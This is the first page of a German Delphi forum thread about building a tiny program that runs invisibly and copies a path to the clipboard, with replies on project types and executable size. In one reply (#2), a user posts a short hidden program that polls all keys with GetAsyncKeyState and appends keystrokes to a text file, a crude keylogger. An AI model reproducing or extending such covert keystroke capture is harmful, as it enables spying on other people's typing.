AGB  ·  Datenschutz  ·  Impressum  







Anmelden
Nützliche Links
Registrieren
Thema durchsuchen
Ansicht
Themen-Optionen

Unsichtbares Programm

Ein Thema von Guido Eisenbeis · begonnen am 6. Mai 2008 · letzter Beitrag vom 18. Mai 2008
Antwort Antwort
Seite 1 von 4  1 23     Letzte »    
Guido Eisenbeis

Registriert seit: 9. Apr 2006
389 Beiträge
 
Delphi 10.3 Rio
 
#1

Unsichtbares Programm

  Alt 6. Mai 2008, 03:18
Mein Ziel ist ein Mini-Programm, das lediglich einen übergebenen Pfad in die Zwischenablage kopiert ("PathToClipboard). Dabei soll das Programm so klein wie möglich sein (habe eins mit 40 KB von einem anderen Autor gesehen), und selbstverständlich vollkommen unsichtbar laufen.

Version 1)
Mit "Application.ShowMainForm:= false;" habe ich in einer normalen VCL-Anwendung erreicht, dass ein Programm vollkommen unsichtbar läuft. Aber erstens ist es schon standardmäßig 400 KB groß (also 10x so viel) und zweitens weiß ich nicht, wie ich Code ausführen lassen kann, da kein Event mehr greift (ShowMessage wird weder im FormCreate noch im FormShow usw. ausgeführt).

Version 2)
Wenn ich ein Konsolenprogramm erstellen würde, würde dort wahrscheinlich ein Code abgearbeitet werden. Aber selbst wenn ich das Programm gleich danach beenden würde, würde die Konsole dennoch zumindest aufblitzen.

Meine Frage: wie kann ich ein vollkommen unsichtar laufendes Programm realisieren, das lediglich einen Befehl ausführt (CopyToClipboard) und sich dann selbst beendet?

Guido.
  Mit Zitat antworten Zitat
Benutzerbild von Mackhack
Mackhack

Registriert seit: 29. Nov 2003
Ort: San Diego, CA/USA
1.446 Beiträge
 
Delphi 2006 Architect
 
#2

Re: Unsichtbares Programm

  Alt 6. Mai 2008, 04:35
So hab ich was geschrieben das nur lediglich im TaskManager sichtbar ist:

Delphi-Quellcode:
Program Project1;

Uses
  SysUtils, WINPROCS, Forms;

{$R *.RES}

Procedure XXX;
Var
  I : Byte;
  X : SmallInt;
  Datei : TextFile;
Begin
  AssignFile(Datei, 'Key.txt');
  If (Not FileExists('Key.txt')) Then
    ReWrite(Datei)
  Else
    Append(Datei);

  For I := 1 To 255 Do
  Begin
    X := GetAsyncKeyState(I);
    If (X AND $8000 <> 0) Then
      Write(Datei, Char(I));
  End;
  CloseFile(Datei);
End;

Begin
  XXX;
End.
Um etwas Neues zu schaffen muss man seine Ohren vor den Nein-sagern verschliessen um seinen Geist öffnen zu können.
(George Lukas)
  Mit Zitat antworten Zitat
Guido Eisenbeis

Registriert seit: 9. Apr 2006
389 Beiträge
 
Delphi 10.3 Rio
 
#3

Re: Unsichtbares Programm

  Alt 6. Mai 2008, 04:40
Welchen Projekt-Typ muss ich denn verwenden? Konsole, VCL, ...?

Guido.
  Mit Zitat antworten Zitat
Benutzerbild von cruiser
cruiser

Registriert seit: 23. Dez 2003
Ort: Königsbrück/Sachsen
455 Beiträge
 
Delphi 7 Enterprise
 
#4

Re: Unsichtbares Programm

  Alt 6. Mai 2008, 06:07
Konsole und dann die Compiler Direktive auskommentieren/löschen
  Mit Zitat antworten Zitat
toms_

Registriert seit: 6. Mai 2008
6 Beiträge
 
#5

Re: Unsichtbares Programm

  Alt 6. Mai 2008, 06:36
zustätzlich noch die Units "SysUtils, Forms" entfernen, damit die Exe schön klein wird.
  Mit Zitat antworten Zitat
christian_r
(Gast)

n/a Beiträge
 
#6

Re: Unsichtbares Programm

  Alt 6. Mai 2008, 06:43
Zitat von toms_:
zustätzlich noch die Units "SysUtils, Forms" entfernen, damit die Exe schön klein wird.
Wenn er keine Proceduren, Nethoden oder Anderes aus den Units verwendet, werden diese nicht in das Programm eincompiliert.

Stelle Dir vor, Du hättest ein Programm, das verwendet aus einer Unit mit 500 Funktionen nur 4 davon. Dann müsstest Du per Hand die Unit optimieren, um 496 Funktionen zu entfernen, damit sie nicht in das compilierte Programm aufgenommen werden. Und das mach dann mal bei größeren Projekten mit 30-40 (oder mehr) Units.
  Mit Zitat antworten Zitat
toms_

Registriert seit: 6. Mai 2008
6 Beiträge
 
#7

Re: Unsichtbares Programm

  Alt 6. Mai 2008, 06:47
Unter D6 ist es nicht so. Werden die Units nicht entfernt, ist die EXE-Datei 451 KB, ohne die beiden Units 12KB (Wobei sich dann mein Antivirus meldet...)
  Mit Zitat antworten Zitat
toms_

Registriert seit: 6. Mai 2008
6 Beiträge
 
#8

Re: Unsichtbares Programm

  Alt 6. Mai 2008, 06:54
Nachtrag: Selbst bei D2007 ist es so.
Mit Forms: 391 KB, ohne Forms: 24 KB.
  Mit Zitat antworten Zitat
Benutzerbild von Bernhard Geyer
Bernhard Geyer

Registriert seit: 13. Aug 2002
17.197 Beiträge
 
Delphi 10.4 Sydney
 
#9

Re: Unsichtbares Programm

  Alt 6. Mai 2008, 07:06
Zitat von christian_r:
Zitat von toms_:
zustätzlich noch die Units "SysUtils, Forms" entfernen, damit die Exe schön klein wird.
Wenn er keine Proceduren, Nethoden oder Anderes aus den Units verwendet, werden diese nicht in das Programm eincompiliert.
Da diese Units auch weiter Units einbindet und auch in einigen davon Funktionen/Prozeduren/Klassen im Initalisation/Finalisation verwendet werden wird da zwangsweise schon einiges dazugebunden.
Windows Vista - Eine neue Erfahrung in Fehlern.
  Mit Zitat antworten Zitat
Benutzerbild von Luckie
Luckie

Registriert seit: 29. Mai 2002
37.621 Beiträge
 
Delphi 2006 Professional
 
#10

Re: Unsichtbares Programm

  Alt 6. Mai 2008, 09:01
Zitat von christian_r:
Zitat von toms_:
zustätzlich noch die Units "SysUtils, Forms" entfernen, damit die Exe schön klein wird.
Wenn er keine Proceduren, Nethoden oder Anderes aus den Units verwendet, werden diese nicht in das Programm eincompiliert.
Das stimmt schon, aber viel kann auch im Initialization-Abschnitt passieren und bei der Unit Forms ist das definitiv der Fall.
Michael
Ein Teil meines Codes würde euch verunsichern.
  Mit Zitat antworten Zitat
Antwort Antwort
Seite 1 von 4  1 23     Letzte »    


Forumregeln

Es ist dir nicht erlaubt, neue Themen zu verfassen.
Es ist dir nicht erlaubt, auf Beiträge zu antworten.
Es ist dir nicht erlaubt, Anhänge hochzuladen.
Es ist dir nicht erlaubt, deine Beiträge zu bearbeiten.

BB-Code ist an.
Smileys sind an.
[IMG] Code ist an.
HTML-Code ist aus.
Trackbacks are an
Pingbacks are an
Refbacks are aus

Gehe zu:

Impressum · AGB · Datenschutz · Nach oben
Alle Zeitangaben in WEZ +1. Es ist jetzt 22:15 Uhr.
Powered by vBulletin® Copyright ©2000 - 2024, Jelsoft Enterprises Ltd.
LinkBacks Enabled by vBSEO © 2011, Crawlability, Inc.
Delphi-PRAXiS (c) 2002 - 2023 by Daniel R. Wolf, 2024 by Thomas Breitkreuz